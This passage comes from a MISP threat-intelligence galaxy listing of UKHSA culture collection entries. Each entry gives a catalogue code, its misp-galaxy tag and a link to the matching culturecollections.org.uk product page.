Table 30943. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0338

BO0718

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0718"*

Table 30944. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0718

BO0772

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0772"*

Table 30945. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0772

BO0819

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0819"*

Table 30946. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0819

BO0939

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0939"*

Table 30947. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0939

BO0954

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0954"*

Table 30948. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0954

BO0988

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0988"*

Table 30949. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0988

BO2136

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2136"*

Table 30950. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2136

BO2199

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2199"*

Table 30951. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2199

BO2224

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2224"*

Table 30952. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2224

BT0001

The tag is: *misp-galaxy:ukhsa-culture-collections="BT0001"*

Table 30953. Table References

Links
https://www.culturecollections.org.uk/nop/product/bt0001

CM0007

The tag is: *misp-galaxy:ukhsa-culture-collections="CM0007"*

Table 30954. Table References

Links
https://www.culturecollections.org.uk/nop/product/cm0007

CU0002

The tag is: *misp-galaxy:ukhsa-culture-collections="CU0002"*

Table 30955. Table References

Links
https://www.culturecollections.org.uk/nop/product/cu0002

DD0021

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0021"*

Table 30956. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0021

DD0145

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0145"*

Table 30957. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0145

DD0167

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0167"*

Table 30958. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0167

DD0198

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0198"*

Table 30959. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0198

DD0225

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0225"*

Table 30960. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0225

DD0342

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0342"*

Table 30961. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0342

DD0407

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0407"*

Table 30962. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0407

DD0447

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0447"*

Table 30963. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0447

DD0494

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0494"*

Table 30964. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0494

DD0617

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0617"*

Table 30965. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0617

DD0654

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0654"*

Table 30966. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0654

DD0685

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0685"*

Table 30967. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0685

DD0698

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0698"*

Table 30968. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0698

DD0711

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0711"*

Table 30969. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0711

DD0713

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0713"*

Table 30970. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0713

DD0808

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0808"*

Table 30971. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0808

DD0813

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0813"*

Table 30972. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0813

DD0836

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0836"*

Table 30973. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0836

DD0844

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0844"*

Table 30974. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0844

DD0853

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0853"*

Table 30975. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0853

DD0863

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0863"*

Table 30976. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0863

DD1034

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1034"*

Table 30977. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1034

DD1072

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1072"*

Table 30978. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1072

DD1089

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1089"*

Table 30979. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1089

DD1095

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1095"*

Table 30980. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1095

DD1097

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1097"*

Table 30981. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1097

DD1147

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1147"*

Table 30982. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1147

DD1163

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1163"*

Table 30983. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1163

DD1287

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1287"*

Table 30984. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1287

DD1321

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1321"*

Table 30985. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1321

DD1358

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1358"*

Table 30986. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1358

DD1430

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1430"*

Table 30987. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1430

DD1450

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1450"*

Table 30988. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1450

DD1561

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1561"*

Table 30989. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1561

DD1714

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1714"*

Table 30990. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1714

DD1732

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1732"*

Table 30991. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1732

DD1772

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1772"*

Table 30992. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1772

DD1793

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1793"*

Table 30993. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1793

DD1822

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1822"*

Table 30994. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1822

DD1894

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1894"*

Table 30995. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1894

DD1909

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1909"*

Table 30996. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1909

DD1988

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1988"*

Table 30997. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1988

DD2000

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2000"*

Table 30998. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2000

DD2002

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2002"*

Table 30999. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2002

DD2108

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2108"*

Table 31000. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2108

DD2204

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2204"*

Table 31001. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2204

DD2260

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2260"*

Table 31002. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2260

DD2264

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2264"*

Table 31003. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2264

DD2361

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2361"*

Table 31004. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2361

DD2393

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2393"*

Table 31005. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2393

DD2439

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2439"*

Table 31006. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2439

DD2468

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2468"*

Table 31007. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2468

DD2470

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2470"*

Table 31008. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2470

DD2558

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2558"*

Table 31009. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2558

DD2566

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2566"*

Table 31010. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2566

DD2650

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2650"*

Table 31011. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2650

DD2866

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2866"*

Table 31012. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2866

DD2920

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2920"*

Table 31013. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2920

DD2925

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2925"*

Table 31014. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2925

DD2928

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2928"*

Table 31015. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2928

DD2977

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2977"*

Table 31016. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2977

DD2998

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2998"*

Table 31017. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2998

DD3076

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3076"*

Table 31018. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3076

DD3078

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3078"*

Table 31019. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3078

DD3085

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3085"*

Table 31020. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3085

DD3097

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3097"*

Table 31021. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3097

DD3100

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3100"*

Table 31022. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3100

DD3131

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3131"*

Table 31023. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3131

DD3168

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3168"*

Table 31024. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3168

DD3528

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3528"*

Table 31025. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3528

DD3543

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3543"*

Table 31026. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3543

DD3553

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3553"*

Table 31027. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3553

DD3609

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3609"*

Table 31028. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3609

FY1198

The tag is: *misp-galaxy:ukhsa-culture-collections="FY1198"*

Table 31029. Table References

Links
https://www.culturecollections.org.uk/nop/product/fy1198

HH0011

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0011"*

Table 31030. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0011

HH0297

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0297"*

Table 31031. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0297

JJ0016

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0016"*

Table 31032. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0016

JJ0038

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0038"*

Table 31033. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0038

JJ0048

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0048"*

Table 31034. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0048

JJ0049

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0049"*

Table 31035. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0049

JJ0051

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0051"*

Table 31036. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0051

JJ0053

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0053"*

Table 31037. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0053

JJ0060

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0060"*

Table 31038. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0060

KQ0001

The tag is: *misp-galaxy:ukhsa-culture-collections="KQ0001"*

Table 31039. Table References

Links
https://www.culturecollections.org.uk/nop/product/kq0001

KW0010

The tag is: *misp-galaxy:ukhsa-culture-collections="KW0010"*

Table 31040. Table References

Links
https://www.culturecollections.org.uk/nop/product/kw0010

LA0002

The tag is: *misp-galaxy:ukhsa-culture-collections="LA0002"*

Table 31041. Table References

Links
https://www.culturecollections.org.uk/nop/product/la0002

MD0003

The tag is: *misp-galaxy:ukhsa-culture-collections="MD0003"*

Table 31042. Table References

Links
https://www.culturecollections.org.uk/nop/product/md0003

QQ0112

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0112"*

Table 31043. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0112

QQ0167

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0167"*

Table 31044. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0167

QQ0297

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0297"*

Table 31045. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0297

QQ0445

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0445"*

Table 31046. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0445

QQ0661

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0661"*

Table 31047. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0661

QQ0706

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0706"*

Table 31048. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0706

XP0013

The tag is: *misp-galaxy:ukhsa-culture-collections="XP0013"*

Table 31049. Table References

Links
https://www.culturecollections.org.uk/nop/product/xp0013

RAFT0069

The tag is: *misp-galaxy:ukhsa-culture-collections="RAFT0069"*

Table 31050. Table References

Links
https://www.culturecollections.org.uk/nop/product/raft0069

B0403741

The tag is: *misp-galaxy:ukhsa-culture-collections="B0403741"*

Table 31051. Table References

Links
https://www.culturecollections.org.uk/nop/product/b0403741

AC0001

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0001"*

Table 31052. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0001

BH0009

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0009"*

Table 31053. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0009

BH0046

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0046"*

Table 31054. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0046

BO0362

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0362"*

Table 31055. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0362

BO0396

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0396"*

Table 31056. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0396

BO0563

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0563"*

Table 31057. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0563

BO0566

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0566"*

Table 31058. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0566

BO0763

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0763"*

Table 31059. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0763

BO0799

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0799"*

Table 31060. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0799

BO0841

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0841"*

Table 31061. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0841

BO0913

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0913"*

Table 31062. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0913

BO2110

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2110"*

Table 31063. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2110

BV0416

The tag is: *misp-galaxy:ukhsa-culture-collections="BV0416"*

Table 31064. Table References

Links
https://www.culturecollections.org.uk/nop/product/bv0416

BV0704

The tag is: *misp-galaxy:ukhsa-culture-collections="BV0704"*

Table 31065. Table References

Links
https://www.culturecollections.org.uk/nop/product/bv0704

COG203C

The tag is: *misp-galaxy:ukhsa-culture-collections="COG203C"*

Table 31066. Table References

Links
https://www.culturecollections.org.uk/nop/product/cog203c

CV0001

The tag is: *misp-galaxy:ukhsa-culture-collections="CV0001"*

Table 31067. Table References

Links
https://www.culturecollections.org.uk/nop/product/cv0001

DD0038

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0038"*

Table 31068. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0038

DD0051

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0051"*

Table 31069. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0051

DD0057

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0057"*

Table 31070. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0057

DD0072

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0072"*

Table 31071. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0072

DD0187

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0187"*

Table 31072. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0187

DD0191

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0191"*

Table 31073. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0191

DD0220

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0220"*

Table 31074. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0220

DD0241

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0241"*

Table 31075. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0241

DD0249

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0249"*

Table 31076. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0249

DD0344

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0344"*

Table 31077. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0344

DD0370

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0370"*

Table 31078. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0370

DD0398

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0398"*

Table 31079. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0398

DD0401

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0401"*

Table 31080. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0401

DD0480

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0480"*

Table 31081. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0480

DD0521

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0521"*

Table 31082. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0521

DD0559

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0559"*

Table 31083. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0559

DD0675

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0675"*

Table 31084. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0675

DD0676

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0676"*

Table 31085. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0676

DD0705

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0705"*

Table 31086. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0705

DD0706

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0706"*

Table 31087. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0706

DD0759

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0759"*

Table 31088. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0759

DD0796

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0796"*

Table 31089. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0796

DD0834

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0834"*

Table 31090. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0834

DD0955

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0955"*

Table 31091. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0955

DD0970

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0970"*

Table 31092. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0970

DD1041

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1041"*

Table 31093. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1041

DD1106

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1106"*

Table 31094. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1106

DD1117

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1117"*

Table 31095. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1117

DD1140

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1140"*

Table 31096. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1140

DD1141

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1141"*

Table 31097. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1141

DD1187

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1187"*

Table 31098. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1187

DD1247

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1247"*

Table 31099. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1247

DD1303

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1303"*

Table 31100. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1303

DD1401

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1401"*

Table 31101. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1401

DD1408

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1408"*

Table 31102. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1408

DD1438

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1438"*

Table 31103. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1438

DD1510

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1510"*

Table 31104. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1510

DD1531

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1531"*

Table 31105. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1531

DD1613

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1613"*

Table 31106. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1613

DD1641

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1641"*

Table 31107. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1641

DD1662

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1662"*

Table 31108. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1662

DD1708

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1708"*

Table 31109. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1708

DD1770

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1770"*

Table 31110. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1770

DD1832

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1832"*

Table 31111. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1832

DD1891

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1891"*

Table 31112. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1891

DD1896

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1896"*

Table 31113. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1896

DD1906

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1906"*

Table 31114. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1906

DD1912

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1912"*

Table 31115. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1912

DD1917

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1917"*

Table 31116. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1917

DD1940

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1940"*

Table 31117. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1940

DD1966

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1966"*

Table 31118. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1966

DD2044

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2044"*

Table 31119. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2044

DD2100

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2100"*

Table 31120. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2100

DD2162

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2162"*

Table 31121. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2162

DD2169

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2169"*

Table 31122. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2169

DD2181

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2181"*

Table 31123. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2181

DD2208

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2208"*

Table 31124. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2208

DD2224

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2224"*

Table 31125. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2224

DD2233

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2233"*

Table 31126. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2233

DD2307

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2307"*

Table 31127. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2307

DD2411

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2411"*

Table 31128. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2411

DD2414

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2414"*

Table 31129. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2414

DD2456

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2456"*

Table 31130. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2456

DD2464

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2464"*

Table 31131. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2464

DD2539

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2539"*

Table 31132. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2539

DD2540

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2540"*

Table 31133. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2540

DD2550

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2550"*

Table 31134. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2550

DD2562

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2562"*

Table 31135. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2562

DD2569

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2569"*

Table 31136. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2569

DD2591

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2591"*

Table 31137. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2591

DD2642

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2642"*

Table 31138. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2642

DD2644

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2644"*

Table 31139. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2644

DD2664

